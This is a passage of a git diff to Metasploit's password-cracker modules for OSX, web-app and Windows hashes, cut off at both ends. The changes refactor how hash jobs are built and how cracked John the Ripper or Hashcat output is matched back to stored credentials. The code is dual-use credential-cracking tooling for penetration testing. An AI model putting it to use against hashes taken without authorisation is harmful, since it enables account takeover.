vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Wordlist') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end - #give a final print of results - print_good(print_results(tbl, results)) + # give a final print of results + print_good(append_results(tbl, results)) end if datastore['DeleteTempFiles'] @@ -217,33 +230,4 @@ class MetasploitModule < Msf::Auxiliary end end end - - def hash_file(hashes_regex) - hashes = [] - wrote_hash = false - hashlist = Rex::Quickfile.new("hashes_tmp") - # descrypt is what JtR calls it, des is what we save it in the db as - hashes_regex = hashes_regex.join('|') - regex = Regexp.new hashes_regex - framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core| - next unless core.private.jtr_format =~ regex - # only add hashes which haven't been cracked - next unless already_cracked_pass(core.private.data).nil? - if action.name == 'john' - hashlist.puts hash_to_jtr(core) - elsif action.name == 'hashcat' - # hashcat hash files dont include the ID to reference back to so we build an array to reference - hashes << {'hash' => core.private.data, 'un' => core.public.username, 'id' => core.id} - hashlist.puts hash_to_hashcat(core) - end - wrote_hash = true - end - hashlist.close - unless wrote_hash # check if we wrote anything and bail early if we didn't - hashlist.delete - fail_with Failure::NotFound, 'No applicable hashes in database to crack' - end - print_status "Hashes Written out to #{hashlist.path}" - return hashlist.path, hashes - end end diff --git a/modules/auxiliary/analyze/crack_osx.rb b/modules/auxiliary/analyze/crack_osx.rb index 695482666b..65aee3ba2e 100644 --- a/modules/auxiliary/analyze/crack_osx.rb +++ b/modules/auxiliary/analyze/crack_osx.rb @@ -3,45 +3,45 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::PasswordCracker def initialize super( - 'Name' => 'Password Cracker: OSX', - 'Description' => %Q{ + 'Name' => 'Password Cracker: OSX', + 'Description' => %( This module uses John the Ripper or Hashcat to identify weak passwords that have been acquired from OSX systems. The module will only crack xsha from OSX 10.4-10.6, xsha512 - from 10.7, and PBKDF2 from OSX 10.8+. - }, - 'Author' => - [ - 'h00die' # hashcat integration - ] , - 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) - 'Actions' => - [ - ['john', 'Description' => 'Use John the Ripper'], - ['hashcat', 'Description' => 'Use Hashcat'], - ], + from 10.7, and PBKDF2 from OSX 10.8+. + XSHA is 122 in hashcat. + XSHA512 is 1722 in hashcat. + PBKDF2 (PBKDF2-HMAC-SHA512) is 7100 in hashcat. + ), + 'Author' => [ + 'h00die' # hashcat integration + ], + 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) + 'Actions' => [ + ['john', { 'Description' => 'Use John the Ripper' }], + ['hashcat', { 'Description' => 'Use Hashcat' }], + ], 'DefaultAction' => 'john', ) register_options( [ - OptBool.new('XSHA',[false, 'Include XSHA hashes from 10.4-10.6', true]), - OptBool.new('XSHA512',[false, 'Include XSHA512 hashes from 10.7', true]), - OptBool.new('PBKDF2',[false, 'Include PBKDF2-HMAC-SHA512 hashes from 10.8+', true]), - OptBool.new('INCREMENTAL',[false, 'Run in incremental mode', true]), - OptBool.new('WORDLIST',[false, 'Run in wordlist mode', true]) + OptBool.new('XSHA', [false, 'Include XSHA hashes from 10.4-10.6', true]), + OptBool.new('XSHA512', [false, 'Include XSHA512 hashes from 10.7', true]), + OptBool.new('PBKDF2', [false, 'Include PBKDF2-HMAC-SHA512 hashes from 10.8+', true]), + OptBool.new('INCREMENTAL', [false, 'Run in incremental mode', true]), + OptBool.new('WORDLIST', [false, 'Run in wordlist mode', true]) ] ) - end def show_command(cracker_instance) return unless datastore['ShowCommand'] + if action.name == 'john' cmd = cracker_instance.john_crack_command elsif action.name == 'hashcat' @@ -50,69 +50,65 @@ class MetasploitModule < Msf::Auxiliary print_status(" Cracking Command: #{cmd.join(' ')}") end - def print_results(tbl, cracked_hashes) - cracked_hashes.each do |row| - unless tbl.rows.include? row - tbl << row - end - end - tbl.to_s - end - def run - def process_crack(results, hashes, cred, hash_type, method) - return results if cred['core_id'].nil? # make sure we have good data - # make sure we dont add the same one again - if results.select {|r| r.first == cred['core_id']}.empty? - results << [cred['core_id'], hash_type, cred['username'], cred['password'], method] - end - - create_cracked_credential( username: cred['username'], password: cred['password'], core_id: cred['core_id']) - results - end - - def check_results(passwords, results, hash_type, hashes, method) + def check_results(passwords, results, hash_type, method) passwords.each do |password_line| password_line.chomp! next if password_line.blank? - fields = password_line.split(":") + + fields = password_line.split(':') + cred = { 'hash_type' => hash_type, 'method' => method } # If we don't have an expected minimum number of fields, this is probably not a hash line if action.name == 'john' - next unless fields.count >=3 - cred = {} + next unless fields.count >= 3 + cred['username'] = fields.shift - cred['core_id'] = fields.pop - if hash_type == 'xsha512' + cred['core_id'] = fields.pop + unless hash_type == 'PBKDF2-HMAC-SHA512' 4.times { fields.pop } # Get rid of extra : end cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it - results = process_crack(results, hashes, cred, hash_type, method) elsif action.name == 'hashcat' - next unless fields.count >= 2 - hash = fields.shift - password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them - next if hash.include?("Hashfile '") && hash.include?("' on line ") # skip error lines - hashes.each do |h| - next unless h['hash'].upcase == hash.upcase - cred = {'core_id' => h['id'], 'username' => h['un'], 'password' => password} - results = process_crack(results, hashes, cred, hash_type, method) - end + next unless fields.count >= 3 + + cred['core_id'] = fields.shift + cred['hash'] = fields.shift + cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it + next if cred['core_id'].include?("Hashfile '") && cred['core_id'].include?("' on line ") # skip error lines + + # we don't have the username since we overloaded it with the core_id (since its a better fit for us) + # so we can now just go grab the username from the DB + cred['username'] = framework.db.creds(workspace: myworkspace, id: cred['core_id'])[0].public.username end + results = process_cracker_results(results, cred) end results end - tbl = Rex::Text::Table.new( - 'Header' => 'Cracked Hashes', - 'Indent' => 1, - 'Columns' => ['DB ID', 'Hash Type', 'Username', 'Cracked Password', 'Method'] - ) + tbl = tbl = cracker_results_table # array of hashes in jtr_format in the db, converted to an OR combined regex - hashes_regex = [] - hashes_regex << 'xsha' if datastore['XSHA'] - hashes_regex << 'xsha512' if datastore['XSHA512'] - hashes_regex << 'PBKDF2-HMAC-SHA512' if datastore['PBKDF2'] + hash_types_to_crack = [] + hash_types_to_crack << 'xsha' if datastore['XSHA'] + hash_types_to_crack << 'xsha512' if datastore['XSHA512'] + hash_types_to_crack << 'PBKDF2-HMAC-SHA512' if datastore['PBKDF2'] + jobs_to_do = [] + + # build our job list + hash_types_to_crack.each do |hash_type| + job = hash_job(hash_type, action.name) + if job.nil? + print_status("No #{hash_type} found to crack") + else + jobs_to_do << job + end + end + + # bail early of no jobs to do + if jobs_to_do.empty? + print_good("No uncracked password hashes found for: #{hash_types_to_crack.join(', ')}") + return + end # array of arrays for cracked passwords. # Inner array format: db_id, hash_type, username, password, method_of_crack @@ -120,10 +116,6 @@ class MetasploitModule < Msf::Auxiliary cracker = new_password_cracker(action.name) - # create the hash file first, so if there aren't any hashes we can quit early - # hashes is a reference list used by hashcat only - cracker.hash_path, hashes = hash_file(hashes_regex) - # generate our wordlist and close the file handle. wordlist = wordlist_file unless wordlist @@ -134,9 +126,15 @@ class MetasploitModule < Msf::Auxiliary wordlist.close print_status "Wordlist file written out to #{wordlist.path}" - cleanup_files = [cracker.hash_path, wordlist.path] + cleanup_files = [wordlist.path] - hashes_regex.each do |format| + jobs_to_do.each do |job| + format = job['type'] + hash_file = Rex::Quickfile.new("hashes_#{job['type']}_") + hash_file.puts job['formatted_hashlist'] + hash_file.close + cracker.hash_path = hash_file.path + cleanup_files << hash_file.path # dupe our original cracker so we can safely change options between each run cracker_instance = cracker.dup cracker_instance.format = format @@ -146,8 +144,8 @@ class MetasploitModule < Msf::Auxiliary # first check if anything has already been cracked so we don't report it incorrectly print_status "Checking #{format} hashes already cracked..." - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Already Cracked/POT') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Already Cracked/POT') + vprint_good(append_results(tbl, results)) unless results.empty? if action.name == 'john' print_status "Cracking #{format} hashes in single mode..." @@ -156,17 +154,21 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Single') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Single') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? - print_status "Cracking #{format} hashes in normal mode" + print_status "Cracking #{format} hashes in normal mode..." cracker_instance.mode_normal show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Normal') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Normal') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['INCREMENTAL'] @@ -176,8 +178,10 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Incremental') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Incremental') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['WORDLIST'] @@ -186,19 +190,21 @@ class MetasploitModule < Msf::Auxiliary # Turn on KoreLogic rules if the user asked for it if action.name == 'john' && datastore['KORELOGIC'] cracker_instance.rules = 'KoreLogicRules' - print_status "Applying KoreLogic ruleset..." + print_status 'Applying KoreLogic ruleset...' end show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Wordlist') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Wordlist') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end - #give a final print of results - print_good(print_results(tbl, results)) + # give a final print of results + print_good(append_results(tbl, results)) end if datastore['DeleteTempFiles'] cleanup_files.each do |f| @@ -206,33 +212,4 @@ class MetasploitModule < Msf::Auxiliary end end end - - def hash_file(hashes_regex) - hashes = [] - wrote_hash = false - hashlist = Rex::Quickfile.new("hashes_tmp") - # Convert names from JtR to DB - hashes_regex = hashes_regex.join('|') - regex = Regexp.new hashes_regex - framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core| - next unless core.private.jtr_format =~ regex - # only add hashes which havne't been cracked - next unless already_cracked_pass(core.private.data).nil? - if action.name == 'john' - hashlist.puts hash_to_jtr(core) - elsif action.name == 'hashcat' - # hashcat hash files dont include the ID to reference back to so we build an array to reference - hashes << {'hash' => core.private.data, 'un' => core.public.username, 'id' => core.id} - hashlist.puts hash_to_hashcat(core) - end - wrote_hash = true - end - hashlist.close - unless wrote_hash # check if we wrote anything and bail early if we didn't - hashlist.delete - fail_with Failure::NotFound, 'No applicable hashes in database to crack' - end - print_status "Hashes Written out to #{hashlist.path}" - return hashlist.path, hashes - end end diff --git a/modules/auxiliary/analyze/crack_webapps.rb b/modules/auxiliary/analyze/crack_webapps.rb index e22afab667..3944fbfe1e 100644 --- a/modules/auxiliary/analyze/crack_webapps.rb +++ b/modules/auxiliary/analyze/crack_webapps.rb @@ -3,31 +3,28 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::PasswordCracker def initialize super( - 'Name' => 'Password Cracker: Webapps', - 'Description' => %Q{ + 'Name' => 'Password Cracker: Webapps', + 'Description' => %( This module uses John the Ripper or Hashcat to identify weak passwords that have been acquired from various web applications. Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat. PHPass uses phpass which is 400 in hashcat. Mediawiki is MD5 based and is 3711 in hashcat. Apache Superset, some Flask and Werkzeug apps is pbkdf2-sha256 and is 10900 in hashcat - }, - 'Author' => - [ - 'h00die' # hashcat integration - ] , - 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) - 'Actions' => - [ - ['john', 'Description' => 'Use John the Ripper'], - ['hashcat', 'Description' => 'Use Hashcat'], - ], + ), + 'Author' => [ + 'h00die' + ], + 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) + 'Actions' => [ + ['john', { 'Description' => 'Use John the Ripper' }], + ['hashcat', { 'Description' => 'Use Hashcat' }], + ], 'DefaultAction' => 'john', ) @@ -41,11 +38,11 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('WORDLIST',[false, 'Run in wordlist mode', true]) ] ) - end def show_command(cracker_instance) return unless datastore['ShowCommand'] + if action.name == 'john' cmd = cracker_instance.john_crack_command elsif action.name == 'hashcat' @@ -54,69 +51,62 @@ class MetasploitModule < Msf::Auxiliary print_status(" Cracking Command: #{cmd.join(' ')}") end - def print_results(tbl, cracked_hashes) - cracked_hashes.each do |row| - unless tbl.rows.include? row - tbl << row - end - end - tbl.to_s - end - def run - def process_crack(results, hashes, cred, hash_type, method) - return results if cred['core_id'].nil? # make sure we have good data - # make sure we dont add the same one again - if results.select {|r| r.first == cred['core_id']}.empty? - results << [cred['core_id'], hash_type, cred['username'], cred['password'], method] - end - - create_cracked_credential( username: cred['username'], password: cred['password'], core_id: cred['core_id']) - results - end - - def check_results(passwords, results, hash_type, hashes, method) + def check_results(passwords, results, hash_type, method) passwords.each do |password_line| password_line.chomp! next if password_line.blank? - fields = password_line.split(":") + + fields = password_line.split(':') + cred = { 'hash_type' => hash_type, 'method' => method } # If we don't have an expected minimum number of fields, this is probably not a hash line if action.name == 'john' - next unless fields.count >=3 - cred = {} + next unless fields.count >= 3 + cred['username'] = fields.shift - cred['core_id'] = fields.pop + cred['core_id'] = fields.pop cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it - results = process_crack(results, hashes, cred, hash_type, method) elsif action.name == 'hashcat' next unless fields.count >= 2 - hash = fields.shift - password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them - next if hash.include?("Hashfile '") && hash.include?("' on line ") # skip error lines - hashes.each do |h| - next unless h['hash'].upcase == hash.upcase - cred = {'core_id' => h['id'], - 'username' => h['un'], - 'password' => password} - results = process_crack(results, hashes, cred, hash_type, method) - end + + cred['core_id'] = fields.shift + cred['hash'] = fields.shift + cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it + next if cred['core_id'].include?("Hashfile '") && cred['core_id'].include?("' on line ") # skip error lines + + # we don't have the username since we overloaded it with the core_id (since its a better fit for us) + # so we can now just go grab the username from the DB + cred['username'] = framework.db.creds(workspace: myworkspace, id: cred['core_id'])[0].public.username end + results = process_cracker_results(results, cred) end results end - tbl = Rex::Text::Table.new( - 'Header' => 'Cracked Hashes', - 'Indent' => 1, - 'Columns' => ['DB ID', 'Hash Type', 'Username', 'Cracked Password', 'Method'] - ) + tbl = tbl = cracker_results_table - # array of hashes in jtr_format in the db, converted to an OR combined regex - hashes_regex = [] - hashes_regex << 'PBKDF2-HMAC-SHA1' if datastore['ATLASSIAN'] - hashes_regex << 'phpass' if datastore['PHPASS'] - hashes_regex << 'pbkdf2-sha256' if datastore['PBKDF2'] - hashes_regex << 'mediawiki' if datastore['MEDIAWIKI'] + hash_types_to_crack = [] + hash_types_to_crack << 'PBKDF2-HMAC-SHA1' if datastore['ATLASSIAN'] + hash_types_to_crack << 'phpass' if datastore['PHPASS'] + hash_types_to_crack << 'mediawiki' if datastore['MEDIAWIKI'] + hash_types_to_crack << 'pbkdf2-sha256' if datastore['PBKDF2'] + jobs_to_do = [] + + # build our job list + hash_types_to_crack.each do |hash_type| + job = hash_job(hash_type, action.name) + if job.nil? + print_status("No #{hash_type} found to crack") + else + jobs_to_do << job + end + end + + # bail early of no jobs to do + if jobs_to_do.empty? + print_good("No uncracked password hashes found for: #{hash_types_to_crack.join(', ')}") + return + end # array of arrays for cracked passwords. # Inner array format: db_id, hash_type, username, password, method_of_crack @@ -124,10 +114,6 @@ class MetasploitModule < Msf::Auxiliary cracker = new_password_cracker(action.name) - # create the hash file first, so if there aren't any hashes we can quit early - # hashes is a reference list used by hashcat only - cracker.hash_path, hashes = hash_file(hashes_regex) - # generate our wordlist and close the file handle. wordlist = wordlist_file unless wordlist @@ -138,9 +124,15 @@ class MetasploitModule < Msf::Auxiliary wordlist.close print_status "Wordlist file written out to #{wordlist.path}" - cleanup_files = [cracker.hash_path, wordlist.path] + cleanup_files = [wordlist.path] - hashes_regex.each do |format| + jobs_to_do.each do |job| + format = job['type'] + hash_file = Rex::Quickfile.new("hashes_#{job['type']}_") + hash_file.puts job['formatted_hashlist'] + hash_file.close + cracker.hash_path = hash_file.path + cleanup_files << hash_file.path # dupe our original cracker so we can safely change options between each run cracker_instance = cracker.dup cracker_instance.format = format @@ -150,8 +142,10 @@ class MetasploitModule < Msf::Auxiliary # first check if anything has already been cracked so we don't report it incorrectly print_status "Checking #{format} hashes already cracked..." - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Already Cracked/POT') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Already Cracked/POT') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? if action.name == 'john' print_status "Cracking #{format} hashes in single mode..." @@ -160,17 +154,21 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Single') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Single') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? - print_status "Cracking #{format} hashes in normal mode" + print_status "Cracking #{format} hashes in normal mode..." cracker_instance.mode_normal show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Normal') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Normal') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['INCREMENTAL'] @@ -180,8 +178,10 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Incremental') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Incremental') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['WORDLIST'] @@ -190,19 +190,21 @@ class MetasploitModule < Msf::Auxiliary # Turn on KoreLogic rules if the user asked for it if action.name == 'john' && datastore['KORELOGIC'] cracker_instance.rules = 'KoreLogicRules' - print_status "Applying KoreLogic ruleset..." + print_status 'Applying KoreLogic ruleset...' end show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Wordlist') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Wordlist') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end - #give a final print of results - print_good(print_results(tbl, results)) + # give a final print of results + print_good(append_results(tbl, results)) end if datastore['DeleteTempFiles'] cleanup_files.each do |f| @@ -210,33 +212,4 @@ class MetasploitModule < Msf::Auxiliary end end end - - def hash_file(hashes_regex) - hashes = [] - wrote_hash = false - hashlist = Rex::Quickfile.new("hashes_tmp") - # Convert names from JtR to DB - hashes_regex = hashes_regex.join('|') - regex = Regexp.new hashes_regex - framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core| - next unless core.private.jtr_format =~ regex - # only add hashes which havne't been cracked - next unless already_cracked_pass(core.private.data).nil? - if action.name == 'john' - hashlist.puts hash_to_jtr(core) - elsif action.name == 'hashcat' - # hashcat hash files dont include the ID to reference back to so we build an array to reference - hashes << {'hash' => core.private.data, 'un' => core.public.username, 'id' => core.id} - hashlist.puts hash_to_hashcat(core) - end - wrote_hash = true - end - hashlist.close - unless wrote_hash # check if we wrote anything and bail early if we didn't - hashlist.delete - fail_with Failure::NotFound, 'No applicable hashes in database to crack' - end - print_status "Hashes Written out to #{hashlist.path}" - return hashlist.path, hashes - end end diff --git a/modules/auxiliary/analyze/crack_windows.rb b/modules/auxiliary/analyze/crack_windows.rb index 4e933677ee..c347f36521 100644 --- a/modules/auxiliary/analyze/crack_windows.rb +++ b/modules/auxiliary/analyze/crack_windows.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary 'Name' => 'Password Cracker: Windows', 'Description' => %( This module uses John the Ripper or Hashcat to identify weak passwords that have been - acquired from Windows systems. The module will only crack LANMAN/NTLM hashes. + acquired from Windows systems. LANMAN is format 3000 in hashcat. NTLM is format 1000 in hashcat. MSCASH is format 1100 in hashcat. @@ -65,30 +65,15 @@ class MetasploitModule < Msf::Auxiliary print_status(" Cracking Command: #{cmd.join(' ')}") end - def print_results(tbl, cracked_hashes) - cracked_hashes.each do |row| - # 'core_id' field is stored as an Integer in cracked_hashes (first - # element) and table rows are all strings. This field needs to be - # converted to string before checking if the row already exists in the - # table, otherwise, the comparison will be done between a number and a - # string. Also, the entry needs to be dup'ed to avoid modifying the - # original array of hashes. - row = row.dup - row[0] = row[0].to_s if row[0].is_a?(Numeric) - unless tbl.rows.include? row - tbl << row - end - end - tbl.to_s - end - def run - def process_crack(results, _hashes, cred, hash_type, method) + # we have to overload the process_cracker_results from password_cracker.rb since LANMAN + # is a special case where we may need to do some combining + def process_cracker_results(results, cred) return results if cred['core_id'].nil? # make sure we have good data # make sure we dont add the same one again if results.select { |r| r.first == cred['core_id'] }.empty? - results << [cred['core_id'], hash_type, cred['username'], cred['password'], method] + results << [cred['core_id'], cred['hash_type'], cred['username'], cred['password'], cred['method']] end # however, a special case for LANMAN where it may come back as ???????D (jtr) or [notfound]D (hashcat) @@ -96,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary results.map! do |r| if r.first == cred['core_id'] && r[3] =~ half_lm_regex - [cred['core_id'], hash_type, cred['username'], cred['password'], method] + [cred['core_id'], cred['hash_type'], cred['username'], cred['password'], cred['method']] else r end @@ -106,20 +91,22 @@ class MetasploitModule < Msf::Auxiliary results end - def check_results(passwords, results, hash_type, hashes, method) + def check_results(passwords, results, hash_type, method) passwords.each do |password_line| password_line.chomp! next if password_line.blank? fields = password_line.split(':') + cred = { 'hash_type' => hash_type, 'method' => method } if action.name == 'john' # If we don't have an expected minimum number of fields, this is probably not a hash line next unless fields.count > 2 - cred = {} cred['username'] = fields.shift cred['core_id'] = fields.pop case hash_type + when 'mscash', 'mscash2', 'netntlm', 'netntlmv2' + cred['password'] = fields.shift when 'lm', 'nt' # If we don't have an expected minimum number of fields, this is probably not a NTLM hash next unless fields.count >= 6 @@ -143,90 +130,62 @@ class MetasploitModule < Msf::Auxiliary # have a line like: # username:???????WORD:...:...::: cred['password'] = john_lm_upper_to_ntlm(password, nt_hash) - when 'mscash', 'mscash2' - cred['password'] = fields.shift - when 'netntlm', 'netntlmv2' - cred['password'] = fields.shift end next if cred['password'].nil? - - results = process_crack(results, hashes, cred, hash_type, method) elsif action.name == 'hashcat' next unless fields.count >= 2 - # grab the hash, unless its netntlm* since those have username built in - if ['netntlmv2', 'netntlm'].include? hash_type - hash = fields + cred['core_id'] = fields.shift + + if ['netntlm', 'netntlmv2'].include? hash_type + # we could grab the username here, but no need since we grab it later based on core_id, which is safer + 6.times { fields.shift } # Get rid of a bunch of extra fields else - hash = fields.shift + cred['hash'] = fields.shift end - next if (hash.include?("Hashfile '") && hash.include?("' on line ")) || hash.include?(' Token length exception') || hash.include?('* Token length exception') # skip error lines + fields.pop if hash_type == 'mscash' # Get rid of username - hashes.each do |h| - case hash_type - when 'lm' - next unless h['hash'].split(':')[0] == hash - when 'nt' - next unless h['hash'].split(':')[1] == hash - when 'mscash' - salt = fields.first - next unless h['hash'].start_with?("M\$#{salt}##{hash}") + cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it + next if cred['core_id'].include?("Hashfile '") && cred['core_id'].include?("' on line ") # skip error lines - password = fields[1..-1].join(':') # Anything after the salt must be the password. This accounts for passwords with : in them - when 'mscash2' - next unless h['hash'].split(':')[0] == hash - when 'netntlm', 'netntlmv2' - password = hash[6..-1].join(':') # grab the password - hash_to_check = hash[0..5].join(':') # strip off the password - # capitalize username since thats how hashcat returns it for v2 - if hash_type == 'netntlmv2' - h['hash'] = h['hash'].split(':') - h['hash'][0] = h['hash'][0].upcase - h['hash'] = h['hash'].join(':') - end - next unless h['hash'] == hash_to_check - end - password ||= fields.join(':') # If not already set, anything left must be the password. This accounts for passwords with : in them - cred = { - 'core_id' => h['id'], - 'username' => h['un'], - 'password' => password - } - results = process_crack(results, hashes, cred, hash_type, method) - end + # we don't have the username since we overloaded it with the core_id (since its a better fit for us) + # so we can now just go grab the username from the DB + cred['username'] = framework.db.creds(workspace: myworkspace, id: cred['core_id'])[0].public.username end + results = process_cracker_results(results, cred) end results end - tbl = Rex::Text::Table.new( - 'Header' => 'Cracked Hashes', - 'Indent' => 1, - 'Columns' => ['DB ID', 'Hash Type', 'Username', 'Cracked Password', 'Method'] - ) + tbl = cracker_results_table # array of hashes in jtr_format in the db, converted to an OR combined regex - hashes_regex = [] - if datastore['LANMAN'] - hashes_regex << 'lm' - end - if datastore['NTLM'] - hashes_regex << 'nt' - end - if datastore['MSCASH'] - hashes_regex << 'mscash' - hashes_regex << 'mscash2' - end - if datastore['NETNTLM'] - hashes_regex << 'netntlm' - end - if datastore['NETNTLMV2'] - hashes_regex << 'netntlmv2' + hash_types_to_crack = [] + hash_types_to_crack << 'lm' if datastore['LANMAN'] + hash_types_to_crack << 'nt' if datastore['NTLM'] + hash_types_to_crack << 'mscash' if datastore['MSCASH'] + hash_types_to_crack << 'mscash2' if datastore['MSCASH'] + hash_types_to_crack << 'netntlm' if datastore['NETNTLM'] + hash_types_to_crack << 'netntlmv2' if datastore['NETNTLMV2'] + + jobs_to_do = [] + + # build our job list + hash_types_to_crack.each do |hash_type| + job = hash_job(hash_type, action.name) + if job.nil? + print_status("No #{hash_type} found to crack") + else + jobs_to_do << job + end end - # check we actually have an action to perform - fail_with(Failure::BadConfig, 'Please enable at least one database type to crack') if hashes_regex.empty? + # bail early of no jobs to do + if jobs_to_do.empty? + print_good("No uncracked password hashes found for: #{hash_types_to_crack.join(', ')}") + return + end # array of arrays for cracked passwords. # Inner array format: db_id, hash_type, username, password, method_of_crack @@ -234,10 +193,6 @@ class MetasploitModule < Msf::Auxiliary cracker = new_password_cracker(action.name) - # create the hash file first, so if there aren't any hashes we can quit early - # hashes is a reference list used by hashcat only - cracker.hash_path, hashes = hash_file(hashes_regex) - # generate our wordlist and close the file handle. wordlist = wordlist_file unless wordlist @@ -248,9 +203,15 @@ class MetasploitModule < Msf::Auxiliary wordlist.close print_status "Wordlist file written out to #{wordlist.path}" - cleanup_files = [cracker.hash_path, wordlist.path] + cleanup_files = [wordlist.path] - hashes_regex.each do |format| + jobs_to_do.each do |job| + format = job['type'] + hash_file = Rex::Quickfile.new("hashes_#{job['type']}_") + hash_file.puts job['formatted_hashlist'] + hash_file.close + cracker.hash_path = hash_file.path + cleanup_files << hash_file.path # dupe our original cracker so we can safely change options between each run cracker_instance = cracker.dup cracker_instance.format = format @@ -260,8 +221,10 @@ class MetasploitModule < Msf::Auxiliary # first check if anything has already been cracked so we don't report it incorrectly print_status "Checking #{format} hashes already cracked..." - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Already Cracked/POT') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Already Cracked/POT') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? if action.name == 'john' print_status "Cracking #{format} hashes in single mode..." @@ -270,18 +233,22 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status 